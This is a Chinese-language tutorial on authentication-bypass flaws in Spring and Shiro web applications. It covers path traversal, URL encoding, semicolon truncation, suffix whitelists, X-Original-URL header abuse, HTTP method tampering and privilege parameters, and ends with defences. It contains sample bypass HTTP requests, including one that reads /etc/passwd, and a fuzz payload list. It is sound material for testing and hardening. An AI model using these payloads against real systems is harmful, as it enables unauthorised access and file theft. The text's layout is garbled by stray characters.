一、漏洞原理
-
前后端路徑解析邏輯不一致
-
后端框架(Spring/Shiro)自動處理特殊字符(
../
、//
),但鑒權組件(如Filter)未規范化原始URI。 -
示例:
/system/login/../admin
被Filter誤判為白名單路徑/system/login
,實際解析為/admin
。
-
-
后綴白名單機制
-
對靜態資源后綴(
.json
、.css
)的請求未校驗權限,如/api/user.json
繞過鑒權。
-
-
分隔符截斷邏輯
-
分號
;
分割參數導致后端忽略后續內容,如/admin;123
僅校驗/admin
部分。
-
二、繞過技術分類
1. 資源后綴混淆
-
靜態后綴追加:
?GET /admin/main.css HTTP/1.1 # 利用白名單繞過鑒權
動態參數偽裝:
-
?GET /admin?callback=test.json HTTP/1.1 # 參數偽裝為靜態資源
2. 路徑構造與編碼
-
目錄遍歷(
../
跳轉):
?GET /system/login/../../admin HTTP/1.1 # 結合白名單路徑繞過
URL編碼混淆:
??GET /system/%2e%2e/admin HTTP/1.1 # 編碼`.`繞過過濾
多斜杠干擾:
-
?GET ///admin//user HTTP/1.1 # 后端解析為`/admin/user`,但Filter未匹配
3. 協議特性與分隔符利用
-
分號截斷:
?GET /admin;%09/user HTTP/1.1 # 分號后內容被忽略
HTTP方法篡改:
-
?HEAD /admin HTTP/1.1 # 后端僅校驗POST/PUT方法
4. 標頭偽造與參數控制
-
X-Original-URL濫用:
?GET /public-page HTTP/1.1 ?X-Original-URL: /admin # 后端信任標頭覆蓋路徑
參數提權:
-
?POST /user/update HTTP/1.1 ?{ "role_id": 2 } # 后端未校驗客戶端提交的權限參數
三、實戰案例
-
Shiro權限繞過
-
漏洞場景:構造/admin;%09繞過路徑匹配邏輯。
Payload:
-
-
?GET /admin;jsessionid=xxx HTTP/1.1 # 分號截斷繞過鑒權
Spring Security配置缺陷
-
漏洞場景:
antMatchers("/admin")
未覆蓋子路徑,訪問/admin/
或/admin.json
繞過。 -
修復方案:使用
/admin/**
或啟用mvcMatchers
嚴格匹配。
路徑編碼繞過
-
攻擊過程:
-
-
?GET /%2e%2e/etc/passwd HTTP/1.1 # URL編碼繞過過濾
-
結果:成功讀取系統敏感文件。
-
四、防御策略
-
路徑規范化處理
-
使用
request.getServletPath()
替代getRequestURI()
,避免解析差異。
-
-
統一鑒權框架
-
強制RBAC模型校驗,禁止依賴單一維度(如URL或方法)。
-
-
后綴白名單限制
-
動態接口禁用
.json
、.css
等靜態資源后綴。
-
-
輸入過濾與編碼
-
攔截
../
、;
、%u
等高危字符,解碼后二次校驗。
-
-
日志與監控
-
記錄含非標頭(如
X-Original-URL
)的請求,告警異常路徑訪問。
-
五、Fuzz字典與工具
-
常用Payload:
-
?; . .. / // %2e %0a %0d %09 .json .css /..;/ /%2e%2e/
-
自動化工具:
-
Burp Intruder:批量測試路徑混淆組合。
-
FFuf:快速遍歷后綴與編碼變體。
-
核心總結
-
繞過技術核心:
-
利用分號截斷、路徑跳轉、多斜杠干擾、編碼混淆等手段制造前后端解析差異。
-
偽造標頭(如
X-Original-URL
)或參數篡改直接繞過權限校驗。
-
-
框架特性風險:
-
Shiro的分號解析邏輯、Spring Security的路徑匹配缺陷是常見漏洞來源。
-
-
防御核心原則:
-
路徑處理標準化、權限校驗多維度化、輸入過濾嚴格化。
-